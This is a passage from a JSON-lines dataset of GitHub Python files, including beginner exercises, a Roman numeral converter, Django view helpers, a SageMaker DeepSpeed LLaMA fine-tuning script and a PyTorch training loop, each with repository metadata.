\"\n else:\n if output[\"type\"] == \"image\":\n response += \"Content-Type: image/*\\r\\n\\r\\n\"\n response = bytes(response , \"utf-8\")\n response = response + output[\"content\"]\n\n elif output[\"type\"] == \"html\":\n response += \"Content-Type: text/html\\r\\n\\r\\n\"\n response += output[\"content\"]\n response = response.encode()\n else:\n assert 5 == 6, \"Accept Type not supported server.py\"\n\n self.request.sendall(response)\n\nif __name__ == \"__main__\":\n\n # Create the server, binding to localhost on port 9999\n with socketserver.TCPServer((HOST, PORT), TPCServer) as server:\n print(\"Server Running\")\n # Activate the server; this will keep running until you\n # interrupt the program with Ctrl-C\n server.serve_forever()","repo_name":"ayushkatoch98/httpserver","sub_path":"HttpServer/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23454706141","text":"\n\ndef resolve(line):\n standing = 0\n added = 0\n for required, shy in enumerate(line):\n if required > standing:\n added += required - standing\n standing += required - standing\n standing += int(shy)\n return added\n\nwith open(\"A.in\") as f:\n lines = f.readlines()\n\n#n_tests = int(raw_input())\n\nwith open(\"A.out\",'w') as f:\n for i,line in enumerate(lines[1:]):\n #line = raw_input()\n f.write(\"Case #{}: {}\\n\".format(i+1,resolve(line.split()[1])))\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_155/3327.py","file_name":"3327.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29434842453","text":"largest = None\nsmallest = None\n\nwhile True:\n num = input(\"Enter a number: \")\n if num == 'done':\n break\n try:\n fv = float(num)\n except:\n print('Invalid input')\n continue\n \n print(num)\n \n print(\"maximum\",num, largest)\n print(\"minimum\",num, smallest)","repo_name":"Curva-Tech/Py4E","sub_path":"pyfor/ex5-2_incorrect.py","file_name":"ex5-2_incorrect.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32939481987","text":"def checkio(data):\n\n\t\t#replace this for solution\n\t\tif data <= 0 and data >= 4000:\n\t\t\treturn \"\"\n\n\t\troman = {3000:\"MMM\", 2000:\"MM\", 1000:\"M\",\n\t\t\t\t\t\t\t900:\"CM\", 800:\"DCCC\", 700:\"DCC\", 600:\"DC\", 500:\"D\", 400:\"CD\", 300:\"CCC\", 200:\"CC\", 100:\"C\",\n\t\t\t\t\t\t\t 90:\"XC\", 80:\"LXXX\", 70:\"LXX\", 60:\"LX\", 50:\"L\", 40:\"XL\", 30:\"XXX\", 20:\"XX\", 10:\"X\",\n\t\t\t\t\t\t\t 9:\"IX\", 8:\"VIII\", 7:\"VII\", 6:\"VI\", 5:\"V\", 4:\"IV\", 3:\"III\", 2:\"II\", 1:\"I\"\n\t\t\t\t\t\t}\n\n\t\tstr = \"\"\n\t\tfor k in reversed(sorted((roman.keys()))):\n\t\t\tif data // k == 1:\n\t\t\t\tstr = str + roman[k]\n\t\t\t\tdata = data - k\n\t\treturn str\n\n#These \"asserts\" using only for self-checking and not necessary for auto-testing\nif __name__ == '__main__':\n\tassert checkio(6) == 'VI', '6'\n\tassert checkio(76) == 'LXXVI', '76'\n\tassert checkio(499) == 'CDXCIX', '499'\n\tassert checkio(3888) == 'MMMDCCCLXXXVIII', '3888'\n\tassert checkio(2999) == 'MMCMXCIX', '2999'\n\n","repo_name":"yshutaro/studypython","sub_path":"004_RomanNumerals.py","file_name":"004_RomanNumerals.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19170942952","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\n#Functions \n\ndef Sales():\n Total_Sales = 200 *100\n print (Total_Sales)\n\nSales()\n\n\n# In[5]:\n\n\n\ndef sales(Qty):\n Total_sales = Qty * 100\n print (Total_sales)\n\nsales(50)\n\n\n# In[6]:\n\n\ndef sales (Qty = 10):\n Total_sales = Qty * 100\n print (Total_sales)\n\nsales(50)\nsales ()\n\n\n# In[7]:\n\n\ndef Sales(Qty,Prc):\n Total_Sales = Qty *Prc\n print (Total_Sales)\n\nSales (50,100)\n\n\n# In[11]:\n\n\ndef sales(Prc, Qty=90):\n Total_Sales = (Qty*Prc)\n print (Total_Sales)\n\nsales(25,90)\n\n\n# In[13]:\n\n\n\ndef Sales(Qty =10,Prc =50):\n Total_Sales = Qty *Prc\n print (Total_Sales)\n\nprint (Sales ())\nprint (Sales(200,100))\n\n\n# In[14]:\n\n\ndef sales(Prc= 100, Qty =50):\n Total_Sales = (Qty*Prc)\n return (Total_Sales)\n\nx= sales (200,200)\nprint (x)\n\n\n# In[15]:\n\n\ndef financials (revenue,expenses):\n \"\"\" This function is used to calculate profit and profit ratio\"\"\"\n profit = revenue -expenses\n profit_ratio = profit/revenue \n new_financials = (profit ,profit_ratio)\n return (new_financials)\n\nfinancials (1000,900)\n\n\n# In[16]:\n\n\n\ndef financials (revenue,expenses):\n \"\"\" This function is used to calculate profit and profit ratio\"\"\"\n profit = revenue -expenses\n profit_ratio = profit/revenue \n new_financials = (profit ,profit_ratio)\n return (new_financials)\n\nx = financials (1000,900)\nprint ('Profit ', x[0] )\nprint ('Profit Ratio ', x[1] )\n\n\n# In[17]:\n\n\n\n#celsius to fahrenheit\n#(0°C × 9/5) + 32 = 32°F\n\ndef convertto (deg):\n F= (deg*9/5)+32\n return (F)\n\ntemp = 38\ntemp= convertto (temp)\nprint (temp)\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"NIta149/Python-to-analyse-data","sub_path":"Python function.py","file_name":"Python function.py","file_ext":"py","file_size_in_byte":1608,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"73779368834","text":"# 문자열 관리는 데이터를 조작하는 방법에 대해 배운다.\n# 문자열, list, tuple, 사전 등등\n\"\"\"\ns = \"0123456789\"\nprint(s[2:5])\nprint(s[3:])\nprint(s[:4])\n\"\"\"\n\"\"\"\nfile = \"20200101-104830.jpg\"\nprint(\"촬영 날짜\" + file[4:6]+\"월\"+file[6:8]+\"일\")\nprint(\"촬영 시간\" + file[9:11]+\"시\"+file[6:8]+\"분\")\n\nsocialnum = '001212-34511231'\n\"\"\"\n#'생년-월-일'로 포맷팅 해서 출력\n# 출신 지역 코드 출력\n\nsocialnum = '001212-34511231'\n\nyear = socialnum[:2]\nmonth = socialnum[2:4]\ndate = socialnum[4:6]\nregion = socialnum[8:10]\nletter_7 = socialnum[7]\n\n\nif letter_7 == ('1' or '2'):\n year = '19'+year\nelse:\n year = '20'+year\n\nprint(letter_7)\nprint(\"생일:\", year+'-'+month+'-'+date)\nprint(\"지역 코드:\", region)\n","repo_name":"kimminji1013/workspace_IoT","sub_path":"python/기본서/chapter08_문자열관리/slicing.py","file_name":"slicing.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34069747295","text":"from Accounts.models import Account\nfrom Student.models import Student\nimport datetime as dt\n\n\ndef account_info(request):\n user = request.user\n if user.is_active:\n account = Account.objects.filter(pk=request.user.pk)\n user_id = account.model.get_user_id(self=user)\n\n\n # Prosperon university things. Change later to be more efficient\n user_image = account.model.get_user_image(self=user)\n student = Student.objects.get(user_id_number=user_id)\n student_total_monthly_spending = student.total_monthly_expenses\n student_income = student.yearly_salary\n student_month = student.current_month\n student_year = student.current_year\n pilot = student.pilot\n first_name = student.first_name\n student_course_progress = int(student.course_progress)\n\n\n\n # Budget\n current_date = dt.date.today()\n month_name = current_date.strftime('%B').capitalize()\n current_year = current_date.year\n\n return {\n 'first_name': first_name,\n 'user_image': user_image,\n 'student_total_monthly_spending': student_total_monthly_spending,\n 'student_income': student_income,\n 'student_month': student_month,\n 'student_year': student_year,\n 'pilot': pilot,\n 'student_course_progress': student_course_progress,\n 'month_name': month_name,\n 'current_year': current_year\n }\n\n else:\n return {\n 'first_name': 'user',\n 'user_image': 'img',\n }","repo_name":"gitprosperon/prosperon2","sub_path":"Budget/context-processors.py","file_name":"context-processors.py","file_ext":"py","file_size_in_byte":1576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13355243646","text":"from transformers import AutoModelForCausalLM, Trainer, TrainingArguments, AutoTokenizer\nfrom transformers.models.llama.tokenization_llama import LlamaTokenizer\nfrom sklearn.metrics import accuracy_score, precision_recall_fscore_support\nfrom datasets import load_from_disk\nimport random\nimport logging\nimport sys\nimport argparse\nimport os\nimport torch\nimport subprocess\nimport deepspeed\nimport torch.distributed as dist\n\nif __name__ == \"__main__\":\n\n # Environment variables set by torch.distributed.launch\n LOCAL_RANK = int(os.environ['LOCAL_RANK'])\n WORLD_SIZE = int(os.environ['WORLD_SIZE'])\n WORLD_RANK = int(os.environ['RANK'])\n \n dist.init_process_group(backend='nccl', rank=WORLD_RANK, world_size=WORLD_SIZE)\n \n parser = argparse.ArgumentParser()\n\n # hyperparameters sent by the client are passed as command-line arguments to the script.\n parser.add_argument(\"--num_train_epochs\", type=int, default=3)\n parser.add_argument(\"--per_device_train_batch_size\", type=int, default=2)\n parser.add_argument(\"--per_device_eval_batch_size\", type=int, default=4)\n parser.add_argument(\"--warmup_steps\", type=int, default=100)\n #parser.add_argument(\"--eval_steps\",type=int,default=5000)\n parser.add_argument(\"--learning_rate\", type=str, default=2e-5)\n parser.add_argument(\"--evaluation_strategy\",type=str,default=\"epoch\")\n parser.add_argument(\"--gradient_accumulation_steps\",type=int,default=4)\n parser.add_argument(\"--c\",type=bool,default=False)\n #parser.add_argument(\"--logging_steps\",type=int,default=5000)\n parser.add_argument(\"--save_steps\",type=int,default=500)\n parser.add_argument(\"--save_strategy\",type=str,default=\"steps\")\n parser.add_argument(\"--save_total_limit\",type=int,default=4)\n parser.add_argument(\"--model_max_length\",type=int,default=512)\n parser.add_argument(\"--bf16\",type=bool,default=True)\n\n # Data, model, and output directories\n parser.add_argument(\"--output_data_dir\", type=str, default=os.environ[\"SM_OUTPUT_DATA_DIR\"])\n parser.add_argument(\"--model_dir\", type=str, default=os.environ[\"SM_MODEL_DIR\"])\n parser.add_argument(\"--n_gpus\", type=str, default=os.environ[\"SM_NUM_GPUS\"])\n parser.add_argument(\"--training_dir\", type=str, default=os.environ[\"SM_CHANNEL_TRAIN\"])\n parser.add_argument(\"--test_dir\", type=str, default=os.environ[\"SM_CHANNEL_TEST\"])\n \n parser = deepspeed.add_config_arguments(parser)\n\n args, _ = parser.parse_known_args()\n\n # Set up logging\n logger = logging.getLogger(__name__)\n\n logging.basicConfig(\n level=logging.getLevelName(\"INFO\"),\n handlers=[logging.StreamHandler(sys.stdout)],\n format=\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\",\n )\n \n # load datasets\n train_dataset = load_from_disk(args.training_dir)\n test_dataset = load_from_disk(args.test_dir)\n\n logger.info(f\" loaded train_dataset length is: {len(train_dataset)}\")\n logger.info(f\" loaded test_dataset length is: {len(test_dataset)}\")\n\n # compute metrics function for binary classification\n def compute_metrics(pred):\n labels = pred.label_ids\n preds = pred.predictions.argmax(-1)\n precision, recall, f1, _ = precision_recall_fscore_support(labels, preds, average=\"binary\")\n acc = accuracy_score(labels, preds)\n return {\"accuracy\": acc, \"f1\": f1, \"precision\": precision, \"recall\": recall}\n\n model_name_or_path = \"/tmp/llama_source/\"\n #Download source model from S3 using s5cmd for local rank 0\n if LOCAL_RANK == 0:\n print(\"-----------local rank 0 downloading model from s3----\")\n os.system(\"./s5cmd sync {0} {1}\".format(os.environ['SOURCE_MODEL_BEFORE_TRAINING_S3_PATH'], model_name_or_path))\n \n #Note: the barrier is used to ensure just only local rank 0 to download model assets from s3. \n torch.distributed.barrier()\n \n model = AutoModelForCausalLM.from_pretrained(model_name_or_path,use_cache=False)\n \n tokenizer = LlamaTokenizer.from_pretrained(model_name_or_path, model_max_length=args.model_max_length,padding_side=\"right\")\n \n num_new_tokens = tokenizer.add_special_tokens({'additional_special_tokens': ['[STOP]','[SEP]']})\n if tokenizer.pad_token is None:\n num_new_tokens += tokenizer.add_special_tokens({'pad_token': '[PAD]'})\n model.resize_token_embeddings(len(tokenizer))\n print(\"We have added\", num_new_tokens, \"tokens\")\n '''\n if num_new_tokens > 0:\n input_embeddings = model.get_input_embeddings().weight.data\n output_embeddings = model.get_output_embeddings().weight.data\n\n input_embeddings_avg = input_embeddings[:-num_new_tokens].mean(dim=0, keepdim=True)\n output_embeddings_avg = output_embeddings[:-num_new_tokens].mean(dim=0, keepdim=True)\n\n input_embeddings[-num_new_tokens:] = input_embeddings_avg\n output_embeddings[-num_new_tokens:] = output_embeddings_avg\n '''\n \n # define training args\n training_args = TrainingArguments(\n output_dir=\"/tmp/intermediate\",\n num_train_epochs=args.num_train_epochs,\n per_device_train_batch_size=args.per_device_train_batch_size,\n per_device_eval_batch_size=args.per_device_eval_batch_size,\n warmup_steps=args.warmup_steps,\n #warmup_ratio = 0.03,\n #lr_scheduler_type = \"cosine\",\n #max_grad_norm = 0.7,\n evaluation_strategy=\"no\", #just for test\n logging_dir=f\"{args.output_data_dir}/logs\",\n logging_steps = 10,\n gradient_checkpointing=True,\n learning_rate=float(args.learning_rate),\n deepspeed=args.deepspeed_config,\n #save_steps = args.save_steps,\n save_strategy = \"no\", #just for test\n save_total_limit = args.save_total_limit,\n save_on_each_node = True,\n gradient_accumulation_steps = args.gradient_accumulation_steps,\n fp16=True, \n bf16=False, # Use BF16 if available\n )\n \n # create Trainer instance\n trainer = Trainer(\n model=model,\n args=training_args,\n #compute_metrics=compute_metrics,\n train_dataset=train_dataset,\n eval_dataset=test_dataset,\n tokenizer=tokenizer\n )\n\n # train model\n trainer.train()\n\n #We now save the model assets to an intermediate path.\n #Note: plesae do not save the model into /opt/ml/model (because Sagemaker will tar and compress all of files under /opt/ml/model, and it will consume much time for LLM.)\n print(\"------saving model!-----\")\n save_model_dir = '/tmp/output/asset/'\n tokenizer.save_pretrained(save_model_dir)\n trainer.save_model(save_model_dir)\n print(\"------model is saved!-----\")\n \n #Note: we just use the rank 0 process to upload the trained model assets to S3 by s5cmd command.\n if WORLD_RANK == 0:\n os.system(\"./s5cmd sync {0} {1}\".format(save_model_dir, os.environ['TARGET_MODEL_AFTER_TRAINING_S3_PATH']))\n \n #Note: we should sync with every ranker and ensure only global rank 0 uploading the model assets successfully. \n torch.distributed.barrier()\n","repo_name":"yuhuiaws/finetuning-and-deploying-llama-on-Sagemaker","sub_path":"finetuning-llama-by-deepspeed/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":7061,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"61"} +{"seq_id":"71722835714","text":"from django.template.backends.django import Template as BackendTemplate\nfrom django.template import loader, RequestContext, Context, Template\nfrom django.http import HttpResponse, Http404, HttpResponseRedirect\n\nfrom .redirect_address import RedirectAddress\n\nimport json\n\nclass Renderer(object):\n \"\"\"\n Stateless class that simplifies usage of Django machinary for creating HttpResponse objects\n\n An instantiated instance of this class is provided from ``cwf.views.rendering.renderer``\n \"\"\"\n def simple_render(self, template, extra):\n \"\"\"Return the string from rendering specified template with a normal Context object\"\"\"\n t = loader.get_template(template)\n c = Context(extra)\n return t.render(c)\n\n def render(self, request, template, extra=None, mime=\"text/html\", modify=None):\n \"\"\"\n Create a template, give it context and display as some mime type\n\n Using a RequestContext object provided by ``self.request_context``\n\n If modify is provided and is callable then it will be used\n to modify the rendered template before creating the HttpResponse object\n \"\"\"\n context = self.request_context(request, extra)\n if isinstance(template, Template) or isinstance(template, BackendTemplate):\n template_obj = template\n else:\n template_obj = loader.get_template(template)\n render = template_obj.render(context)\n\n # Modify render if we want to\n if modify and callable(modify):\n render = modify(render)\n\n return HttpResponse(render, content_type=mime)\n\n def request_context(self, request, extra):\n \"\"\"\n Create a RequestContext object from the request and extra context provided.\n\n If request has a ``state`` member, that will be used as default context\n , otherwise an empty dictionary is used, which is updated with the ``extra`` context provided.\n \"\"\"\n # Get context from request.state\n # Or just a dictionary if request has no state\n if hasattr(request, 'state'):\n context = request.state\n else:\n context = {}\n\n # Update context with extra if it was provided\n if extra is not None:\n context.update(extra)\n\n # Get the template and render it\n return RequestContext(request, context)\n\n def raise404(self):\n \"\"\"Raise a Http404\"\"\"\n raise Http404\n\n def http(self, *args, **kwargs):\n \"\"\"Return a HttpResponse object with the args and kwargs passed in\"\"\"\n return HttpResponse(*args, **kwargs)\n\n def xml(self, data):\n \"\"\"Return HttpResponse object with data and a 'application/xml' content_type\"\"\"\n return HttpResponse(data, content_type=\"application/xml\")\n\n def json(self, data):\n \"\"\"Return HttpResponse object with data dumped as a json string and a 'application/javascript' content_type\"\"\"\n if type(data) not in (str, unicode):\n data = json.dumps(data)\n return HttpResponse(data, content_type='application/javascript')\n\n def redirect(self, request, address, *args, **kwargs):\n \"\"\"Return a HttpResponseRedirect object\"\"\"\n if not kwargs.get('no_processing', False):\n if 'no_processing' in kwargs:\n del kwargs['no_processing']\n address = RedirectAddress(request, address, *args, **kwargs).modified\n return HttpResponseRedirect(address)\n\n# An instance that may be used\n# No state is stored on the renderer\nrenderer = Renderer()\n","repo_name":"delfick/cwf","sub_path":"cwf/views/rendering.py","file_name":"rendering.py","file_ext":"py","file_size_in_byte":3586,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"26010883959","text":"import math\nimport sys\nimport time\nimport numpy as np\nimport torch\nimport operator\nimport os\nfrom torch.autograd import Variable\n\nsys.path.append('../')\nfrom utils.tools import AverageMeter, EarlyStopping\nfrom utils.ProgressBar import ProgressBar\nfrom utils.logger import Logger\nfrom utils.statistics import Statistics\nfrom utils.messages import Messages\nfrom metrics.metrics import compute_accuracy, compute_confusion_matrix, extract_stats_from_confm, compute_mIoU\nfrom tensorboardX import SummaryWriter\n\nclass SimpleTrainer(object):\n def __init__(self, cf, model):\n self.cf = cf\n self.model = model\n self.logger_stats = Logger(cf.log_file_stats)\n self.stats = Statistics()\n self.msg = Messages()\n self.validator = self.validation(self.logger_stats, self.model, cf, self.stats, self.msg)\n self.trainer = self.train(self.logger_stats, self.model, cf, self.validator, self.stats, self.msg)\n self.predictor = self.predict(self.logger_stats, self.model, cf)\n\n class train(object):\n def __init__(self, logger_stats, model, cf, validator, stats, msg):\n # Initialize training variables\n self.logger_stats = logger_stats\n self.model = model\n self.cf = cf\n self.validator = validator\n self.logger_stats.write('\\n- Starting train <--- \\n')\n self.curr_epoch = 1 if self.model.best_stats.epoch==0 else self.model.best_stats.epoch\n self.stop = False\n self.stats = stats\n self.best_acc = 0\n self.msg = msg\n self.loss = None\n self.outputs = None\n self.labels = None\n self.writer = SummaryWriter(os.path.join(cf.tensorboard_path,'train'))\n\n def start(self, train_loader, train_set, valid_set=None,\n valid_loader=None):\n self.train_num_batches = math.ceil(train_set.num_images / float(self.cf.train_batch_size))\n self.val_num_batches = 0 if valid_set is None else math.ceil(valid_set.num_images / \\\n float(self.cf.valid_batch_size))\n # Define early stopping control\n if self.cf.early_stopping:\n early_stopping = EarlyStopping(self.cf)\n else:\n early_stopping = None\n\n prev_msg = '\\nTotal estimated training time...\\n'\n self.global_bar = ProgressBar((self.cf.epochs+1-self.curr_epoch)*(self.train_num_batches+self.val_num_batches), lenBar=20)\n self.global_bar.set_prev_msg(prev_msg)\n\n\n # Train process\n for epoch in range(self.curr_epoch, self.cf.epochs + 1):\n # Shuffle train data\n train_set.update_indexes()\n\n # Initialize logger\n epoch_time = time.time()\n self.logger_stats.write('\\t ------ Epoch: ' + str(epoch) + ' ------ \\n')\n\n # Initialize epoch progress bar\n self.msg.accum_str = '\\n\\nEpoch %d/%d estimated time...\\n' % \\\n (epoch, self.cf.epochs)\n epoch_bar = ProgressBar(self.train_num_batches, lenBar=20)\n epoch_bar.update(show=False)\n\n # Initialize stats\n self.stats.epoch = epoch\n self.train_loss = AverageMeter()\n self.confm_list = np.zeros((self.cf.num_classes, self.cf.num_classes))\n\n # Train epoch\n self.training_loop(epoch, train_loader, epoch_bar)\n\n # Save stats\n self.stats.train.conf_m = self.confm_list\n self.compute_stats(np.asarray(self.confm_list), self.train_loss)\n self.save_stats_epoch(epoch)\n self.logger_stats.write_stat(self.stats.train, epoch, os.path.join(self.cf.train_json_path,\n 'train_epoch_' + str(epoch) + '.json'))\n\n # Validate epoch\n self.validate_epoch(valid_set, valid_loader, early_stopping, epoch, self.global_bar)\n\n # Update scheduler\n if self.model.scheduler is not None:\n self.model.scheduler.step(self.stats.val.loss)\n\n # Saving model if score improvement\n new_best = self.model.save(self.stats)\n if new_best:\n self.logger_stats.write_best_stats(self.stats, epoch, self.cf.best_json_file)\n\n # Update display values\n self.update_messages(epoch, epoch_time, new_best)\n\n if self.stop:\n return\n\n # Save model without training\n if self.cf.epochs == 0:\n self.model.save_model()\n\n def training_loop(self, epoch, train_loader, epoch_bar):\n # Train epoch\n for i, data in enumerate(train_loader):\n # Read Data\n inputs, labels = data\n\n N, w, h, c = inputs.size()\n inputs = Variable(inputs).cuda()\n self.inputs = inputs\n self.labels = Variable(labels).cuda()\n\n # Predict model\n self.model.optimizer.zero_grad()\n self.outputs = self.model.net(inputs)\n predictions = self.outputs.data.max(1)[1].cpu().numpy()\n\n # Compute gradients\n self.compute_gradients()\n\n # Compute batch stats\n self.train_loss.update(float(self.loss.cpu().item()), N)\n confm = compute_confusion_matrix(predictions, self.labels.cpu().data.numpy(), self.cf.num_classes,\n self.cf.void_class)\n self.confm_list = map(operator.add, self.confm_list, confm)\n\n if self.cf.normalize_loss:\n self.stats.train.loss = self.train_loss.avg\n else:\n self.stats.train.loss = self.train_loss.avg\n\n if not self.cf.debug:\n # Save stats\n self.save_stats_batch((epoch - 1) * self.train_num_batches + i)\n\n # Update epoch messages\n if not self.cf.silent:\n self.update_epoch_messages(epoch_bar, self.global_bar, self.train_num_batches, epoch, i)\n\n def save_stats_epoch(self, epoch):\n # Save logger\n if epoch is not None:\n # Epoch loss tensorboard\n self.writer.add_scalar('losses/epoch', self.stats.train.loss, epoch)\n self.writer.add_scalar('metrics/accuracy', 100.*self.stats.train.acc, epoch)\n\n def save_stats_batch(self, batch):\n # Save logger\n if batch is not None:\n self.writer.add_scalar('losses/batch', self.stats.train.loss, batch)\n\n def compute_gradients(self):\n self.loss = self.model.loss(self.outputs, self.labels)\n self.loss.backward()\n self.model.optimizer.step()\n\n def compute_stats(self, confm_list, train_loss):\n TP_list, TN_list, FP_list, FN_list = extract_stats_from_confm(confm_list)\n mean_accuracy = compute_accuracy(TP_list, TN_list, FP_list, FN_list)\n self.stats.train.acc = np.nanmean(mean_accuracy)\n self.stats.train.loss = float(train_loss.avg.cpu().data)\n\n def validate_epoch(self, valid_set, valid_loader, early_stopping, epoch, global_bar):\n\n if valid_set is not None and valid_loader is not None:\n # Set model in validation mode\n self.model.net.eval()\n\n self.validator.start(valid_set, valid_loader, 'Epoch Validation', epoch, global_bar=global_bar)\n\n # Early stopping checking\n if self.cf.early_stopping:\n if early_stopping.check(self.stats.train.loss, self.stats.val.loss, self.stats.val.mIoU,\n self.stats.val.acc, self.stats.val.f1score):\n self.stop = True\n\n # Set model in training mode\n self.model.net.train()\n\n\n def update_messages(self, epoch, epoch_time):\n # Update logger\n epoch_time = time.time() - epoch_time\n self.logger_stats.write('\\t Epoch step finished: %ds \\n' % (epoch_time))\n\n # Compute best stats\n self.msg.msg_stats_last = '\\nLast epoch: acc = %.2f, loss = %.5f\\n' % (100 * self.stats.val.acc,\n self.stats.val.loss)\n if self.best_acc < self.stats.val.acc:\n self.msg.msg_stats_best = 'Best case: epoch = %d, acc = %.2f, loss = %.5f\\n' % (\n epoch, 100 * self.stats.val.acc, self.stats.val.loss)\n\n msg_confm = self.stats.val.get_confm_str()\n self.logger_stats.write(msg_confm)\n self.msg.msg_stats_best = self.msg.msg_stats_best + msg_confm\n\n self.best_acc = self.stats.val.acc\n\n def update_epoch_messages(self, epoch_bar, global_bar, train_num_batches, epoch, batch):\n # Update progress bar\n epoch_bar.set_msg('loss = %.5f' % self.stats.train.loss)\n self.msg.last_str = epoch_bar.get_message(step=True)\n global_bar.set_msg(self.msg.accum_str + self.msg.last_str + self.msg.msg_stats_last + \\\n self.msg.msg_stats_best)\n global_bar.update()\n\n # writer.add_scalar('train_loss', train_loss.avg, curr_iter)\n\n # Display progress\n curr_iter = (epoch - 1) * train_num_batches + batch + 1\n if (batch + 1) % math.ceil(train_num_batches / 20.) == 0:\n self.logger_stats.write('[Global iteration %d], [iter %d / %d], [train loss %.5f] \\n' % (\n curr_iter, batch + 1, train_num_batches, self.stats.train.loss))\n\n class validation(object):\n def __init__(self, logger_stats, model, cf, stats, msg):\n # Initialize validation variables\n self.logger_stats = logger_stats\n self.model = model\n self.cf = cf\n self.stats = stats\n self.msg = msg\n self.writer = SummaryWriter(os.path.join(cf.tensorboard_path, 'validation'))\n\n def start(self, valid_set, valid_loader, mode='Validation', epoch=None, global_bar=None, save_folder=None):\n confm_list = np.zeros((self.cf.num_classes,self.cf.num_classes))\n\n self.val_loss = AverageMeter()\n\n # Initialize epoch progress bar\n val_num_batches = math.ceil(valid_set.num_images / float(self.cf.valid_batch_size))\n prev_msg = '\\n' + mode + ' estimated time...\\n'\n bar = ProgressBar(val_num_batches, lenBar=20)\n bar.set_prev_msg(prev_msg)\n bar.update(show=False)\n\n # Validate model\n if self.cf.problem_type == 'detection':\n self.validation_loop(epoch, valid_loader, valid_set, bar, global_bar, save_folder)\n else:\n self.validation_loop(epoch, valid_loader, valid_set, bar, global_bar, confm_list)\n\n # Compute stats\n self.compute_stats(np.asarray(self.stats.val.conf_m), self.val_loss)\n\n # Save stats\n self.save_stats(epoch)\n if mode == 'Epoch Validation':\n self.logger_stats.write_stat(self.stats.train, epoch,\n os.path.join(self.cf.train_json_path,'valid_epoch_' + str(epoch) + '.json'))\n elif mode == 'Validation':\n self.logger_stats.write_stat(self.stats.val, epoch, self.cf.val_json_file)\n elif mode == 'Test':\n self.logger_stats.write_stat(self.stats.test, epoch, self.cf.test_json_file)\n\n def validation_loop(self, epoch, valid_loader, valid_set, bar, global_bar, confm_list):\n for vi, data in enumerate(valid_loader):\n # Read data\n inputs, gts = data\n n_images, w, h, c = inputs.size()\n inputs = Variable(inputs).cuda()\n gts = Variable(gts).cuda()\n\n # Predict model\n with torch.no_grad():\n outputs = self.model.net(inputs)\n predictions = outputs.data.max(1)[1].cpu().numpy()\n\n # Compute batch stats\n self.val_loss.update(float(self.model.loss(outputs, gts).cpu().item() / n_images), n_images)\n confm = compute_confusion_matrix(predictions, gts.cpu().data.numpy(), self.cf.num_classes,\n self.cf.void_class)\n confm_list = map(operator.add, confm_list, confm)\n\n # Save epoch stats\n self.stats.val.conf_m = confm_list\n if not self.cf.normalize_loss:\n self.stats.val.loss = self.val_loss.avg\n else:\n self.stats.val.loss = self.val_loss.avg\n\n # Save predictions and generate overlaping\n self.update_tensorboard(inputs.cpu(), gts.cpu(),\n predictions, epoch, range(vi * self.cf.valid_batch_size,\n vi * self.cf.valid_batch_size +\n np.shape(predictions)[0]),\n valid_set.num_images)\n\n # Update messages\n if not self.cf.silent:\n self.update_msg(bar, global_bar)\n\n def update_tensorboard(self,inputs,gts,predictions,epoch,indexes,val_len):\n pass\n\n\n def update_msg(self, bar, global_bar):\n if global_bar==None:\n # Update progress bar\n bar.update()\n else:\n self.msg.eval_str = '\\n' + bar.get_message(step=True)\n global_bar.set_msg(self.msg.accum_str + self.msg.last_str + self.msg.msg_stats_last + \\\n self.msg.msg_stats_best + self.msg.eval_str)\n global_bar.update()\n\n def compute_stats(self, confm_list, val_loss):\n TP_list, TN_list, FP_list, FN_list = extract_stats_from_confm(confm_list)\n mean_accuracy = compute_accuracy(TP_list, TN_list, FP_list, FN_list)\n self.stats.val.acc = np.nanmean(mean_accuracy)\n self.stats.val.loss = val_loss.avg\n\n def save_stats(self, epoch):\n # Save logger\n if epoch is not None:\n self.logger_stats.write('----------------- Epoch scores summary ------------------------- \\n')\n self.logger_stats.write('[epoch %d], [val loss %.5f], [acc %.2f] \\n' % (\n epoch, self.stats.val.loss, 100*self.stats.val.acc))\n self.logger_stats.write('---------------------------------------------------------------- \\n')\n else:\n self.logger_stats.write('----------------- Scores summary -------------------- \\n')\n self.logger_stats.write('[val loss %.5f], [acc %.2f] \\n' % (\n self.stats.val.loss, 100 * self.stats.val.acc))\n self.logger_stats.write('---------------------------------------------------------------- \\n')\n\n\n class predict(object):\n def __init__(self, logger_stats, model, cf):\n self.logger_stats = logger_stats\n self.model = model\n self.cf = cf\n\n def start(self, dataloader):\n self.model.net.eval()\n\n for vi, data in enumerate(dataloader):\n inputs, img_name, img_shape = data\n\n inputs = Variable(inputs).cuda()\n with torch.no_grad():\n outputs = self.model.net(inputs)\n predictions = outputs.data.max(1)[1].cpu().numpy()\n\n self.write_results(predictions, img_name, img_shape)\n\n # self.logger_stats.write('%d / %d \\n' % (vi + 1, len(dataloader)))\n print('%d / %d' % (vi + 1, len(dataloader)))\n def write_results(self,predictions, img_name):\n pass\n","repo_name":"JoseLGomez/MCV_CNN_framework","sub_path":"tasks/simple_trainer_manager.py","file_name":"simple_trainer_manager.py","file_ext":"py","file_size_in_byte":16421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"373150254","text":"import os\r\nimport pickle\r\nfrom song import Song\r\nfrom album import Album\r\nfrom typing import List\r\n\r\n\r\nclass 